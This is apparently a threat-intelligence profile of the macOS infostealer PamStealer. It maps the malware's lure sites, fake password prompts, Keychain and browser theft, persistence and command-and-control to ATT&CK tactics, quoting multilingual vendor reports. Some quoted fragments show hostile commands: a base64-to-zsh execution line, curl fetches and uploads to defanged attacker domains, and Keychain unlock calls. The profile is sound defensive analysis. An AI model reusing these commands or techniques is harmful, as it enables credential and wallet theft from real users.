PamStealer
- Type
- Infostealer
- Capabilities
- Credential theftSession hijackingExfiltrationPersistenceDefense evasionReconnaissanceCrypto theft
- Delivery
- Landing pageLure
- Platforms
- macOS
PamStealer is a macOS information-stealing malware family discovered by Jamf Threat Labs. It targets login credentials, browser passwords and cookies, Keychain material, cryptocurrency wallet-extension data, clipboard contents, and user files. Early samples targeted Apple Silicon systems and used a Rust-based stealer; later variants support both Apple Silicon and Intel Macs, with a subsequent main payload rewritten in Swift.
Distribution campaigns use fraudulent software-download websites impersonating clipboard utilities such as Maccy or advertising a cryptocurrency wallet. Malicious disk images contain compiled scripts that persuade victims to execute hidden code through Script Editor. A JavaScript for Automation downloader retrieves and launches the payload using native macOS interfaces. Later variants extend this chain with a zsh dropper and server-assisted payload decryption using ephemeral X25519 key exchange and AES-256-GCM, impeding offline payload recovery without command-and-control cooperation.
A defining behavior is the use of deceptive macOS authentication dialogs to capture the user's login password and validate it locally through Pluggable Authentication Modules before exfiltration. PamStealer accesses Keychain items, copies browser databases, and collects system metadata, installed-application and process information, shell history, and account profile photographs. Some variants also replace cryptocurrency addresses on the clipboard to redirect transfers. Collected information is staged and transmitted to attacker infrastructure.
PamStealer masquerades as legitimate macOS components, uses encrypted communications and environment checks, and attempts to obtain Full Disk Access through deceptive prompts. Early variants persist through modern and legacy login-item mechanisms. Later variants combine LaunchAgents, shell-startup modifications, global Git hooks, local backups, and repair routines to restore removed components. They also suppress background-item notifications and use browser-specific helper applications to impersonate browsers when accessing stored secrets.
Techniques & procedures
52 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
4 techniques
Initial Access
When someone enters a password, the malware checks whether it is correct through the system’s normal login validation mechanism before using it to reach protected information.
The initial access vector for the malware is a lookalike site ("maccyapp[.]com") that mimics Maccy ("maccy[.]app").
Малварь распространяется через поддельные ресурсы, копирующие официальный сайт менеджера буфера обмена Maccy. По словам исследователей, атакующие используют домены maccyapp[.]com и maccyapp[.]net, полностью копируя официальный сайт maccy.app.
Les victimes sont attirées vers hxxps://wavel[.]app, un site imitant une application de portefeuille crypto multichain.
Execution
6 techniques
Execution
The compiled JXA format ... [contains] UTF-16BE encoded JXA source ... _app.doShellScript("printf '%s' ... | base64 -D | /bin/zsh -s")
The JXA process exits immediately; the zsh dropper continues in the background. ... daemon_function & ; exit 0.
Instead of relying on common command-line tools like curl or zsh, it executes a JavaScript for Automation (JXA) payload using native macOS APIs such as NSURLSession.
Unlike many AppleScript-based downloaders that invoke utilities such as curl, osascript or zsh, the dropper performs these actions directly through NSURLSession and the Objective-C bridge.
The attack begins with a malicious disk image file named “Maccy.dmg,” which contains a compiled AppleScript file (.scpt). When opened, the file displays harmless-looking instructions prompting the user to press Run.
Victims are lured through wavel[.]app ... The DMG contains a compiled AppleScript ... Opening it launches Script Editor ... an embedded JXA source is executed.
Persistence
6 techniques
Persistence
When someone enters a password, the malware checks whether it is correct through the system’s normal login validation mechanism before using it to reach protected information.
LaunchAgent (com.apple.finder.agent). The primary persistence job masquerades as a system component and runs at login and every 15 seconds thereafter, restarting on crash.
The malware also installs multiple persistence methods, including LaunchAgents and Git hooks, to ensure its continued operation.
The following block is appended to ~/.zshrc, triggering the repair script in the background on every new interactive zsh session.
A login task starts the stealer at sign-in and checks it repeatedly, while repair mechanisms restore components removed by a user or defender.
For persistence, PamStealer registers itself as a login item using both modern and legacy macOS APIs.
Privilege Escalation
7 techniques
Privilege Escalation
When someone enters a password, the malware checks whether it is correct through the system’s normal login validation mechanism before using it to reach protected information.
LaunchAgent (com.apple.finder.agent). The primary persistence job masquerades as a system component and runs at login and every 15 seconds thereafter, restarting on crash.
The malware also installs multiple persistence methods, including LaunchAgents and Git hooks, to ensure its continued operation.
The following block is appended to ~/.zshrc, triggering the repair script in the background on every new interactive zsh session.
A login task starts the stealer at sign-in and checks it repeatedly, while repair mechanisms restore components removed by a user or defender.
For persistence, PamStealer registers itself as a login item using both modern and legacy macOS APIs.
The malware also tries to talk users into granting Full Disk Access... claiming that Finder had lost access to protected data and offering to open System Settings. If the user approves the fake Finder entry in the Full Disk Access pane, the stealer can read protected app data
Stealth
9 techniques
Stealth
Le fichier JXA contient une large chaîne base64 décodée ... Le payload ... est chiffré et récupéré sous les formats SNWK1 et SNP1.
The dropper then copies the bundle to the permanent install location, renaming it ... Finder.app ... The ad-hoc signature and install path masquerade as a system component.
Extrait une archive tar.gz contenant Wavel.app, renommée en Finder.app lors de l’installation.
После этого PamStealer показывает жертве фальшивое предупреждение о том, что Maccy поврежден и его следует переместить в корзину.
When someone enters a password, the malware checks whether it is correct through the system’s normal login validation mechanism before using it to reach protected information.
It now fetches a purpose-built decryption utility and completes a key exchange with the server before the payload can be unwrapped. Without the server's cooperation, the payload cannot be recovered statically.
PamStealer includes environment-aware checks before executing. It generates a unique key based on system attributes such as CPU architecture, locale, and time zone. If the device does not match the expected profile, the malware silently exits.
In either case, they run hidden.
Le DMG contient un AppleScript compilé (.scpt) qui, masqué par macOS (extension cachée dans Finder) ...
Defense Impairment
3 techniques
Defense Impairment
The dropper also removes the downloaded tool's quarantine flag and applies an ad hoc signature before running it.
T1553.002 — Subvert Trust Controls: Code Signing (Defense Evasion).
Before registering the LaunchAgent, the dropper suppresses the macOS notification that alerts users when a new background login item is added ... [it sends] SIGSTOP ... [then] SIGKILL.
Credential Access
9 techniques
Credential Access
One of the most notable features of PamStealer is its password harvesting technique. The malware displays a fake system prompt asking the user to enter their password.
The binary includes a full AppKit-based decoy user interface ... a 'macOS wants to make changes' authentication prompt and a password field ... The password entered is passed to _pam_verify_login.
Но главной особенностью этого стилера является кража системного пароля с помощью Pluggable Authentication Modules (PAM)... введенный им пароль проверяется локально через PAM API
The secondary artifact is a Rust-based infostealer capable of credential theft, browser data collection... responsible for harvesting data from web browsers...
Researchers also found collection routines for system details, shell history and the user's account photo.
It accesses browser databases using SQLite to extract stored passwords, cookies, and wallet data. It also dynamically loads macOS Security frameworks to access Keychain data
The exported function _kc_grab_storage_item uses _SecItemCopyMatching ... [and] shells out to /usr/bin/security unlock-keychain and set-generic-password-partition-list to unlock the login keychain and modify its access control list.
The exported function _sqlite_backup_database uses SQLite's built-in backup API to copy browser credential databases directly ... Browser bundle IDs in the binary confirm seventeen targets.
responsible for harvesting data from web browsers, cryptocurrency wallet extensions, iCloud Keychain, and clipboard content.
Discovery
5 techniques
Discovery
Running processes [are enumerated] with ps -ax -o pid,comm 2>/dev/null | head -400.
System fingerprinting is performed through a series of system_profiler subprocesses. The binary collects 21 attributes covering hardware identifiers ... software state ... and display information.
PamStealer includes environment-aware checks before executing. It generates a unique key based on system attributes such as CPU architecture, locale, and time zone. If the device does not match the expected profile, the malware silently exits.
Installed applications are enumerated with lsappinfo list 2>/dev/null | head -200.
It also avoids systems in specific regions, including Russia and neighboring countries, by checking language settings and keyboard layouts.
Collection
8 techniques
Collection
User files collected include .zsh_history, .zshrc, .bash_history and .gitconfig, alongside the avatar image. ... The binary reads [the account picture] directly using dscl.
One of the most notable features of PamStealer is its password harvesting technique. The malware displays a fake system prompt asking the user to enter their password.
The binary includes a full AppKit-based decoy user interface ... a 'macOS wants to make changes' authentication prompt and a password field ... The password entered is passed to _pam_verify_login.
Но главной особенностью этого стилера является кража системного пароля с помощью Pluggable Authentication Modules (PAM)... введенный им пароль проверяется локально через PAM API
In the sandbox test, the program packaged its findings and sent the resulting archive to attacker-controlled infrastructure... /tmp/.65486b/<session>/ [is a] staging directory for collected data.
Clipboard data is continuously monitored using the built-in pbpaste utility. The malware repeatedly collects clipboard contents at irregular intervals
Polling for and uploading the staging directory in the form of a ZIP archive.
After collection, it assembles the staging directory into an archive ... ditto -c -k --sequesterRsrc ... /tmp/.5ffa071d.zip.part.
Command and Control
5 techniques
Command and Control
The malware communicates with its command-and-control server at avenger-sync[.]live, sending encrypted data using ChaCha20-Poly1305 within JSON requests.
curl POSTs to /v1/loader/dek ... [and] uploads it with a single PUT request ... https://wavel.apple03cloudstore[.]com/v1/asset/${UPLOAD_ID}.
Before fetching the payload, the dropper downloads pkgunpack ... curl ... wavel.apple03cloudstore[.]com/pkgunpack -o /tmp/.pkgunpack-$$.
It now fetches a dedicated decryption utility and performs a key exchange with a command-and-control (C2) server. This server-side cooperation is essential for unwrapping the payload.
pkgunpack ... dédié au déchiffrement ECIES (X25519 + AES-256-GCM) ... récupère un DEK chiffré depuis le serveur C2.
Exfiltration
2 techniques
Exfiltration
The dropper uploads the archive to wavel.apple03cloudstore[.]com/v1/asset/1789753519-10913-1182.
The captured information is then encrypted and exfiltrated to attacker-controlled infrastructure ("avenger-sync[.]live") over an outbound HTTP request.
Observables
53 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
23 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.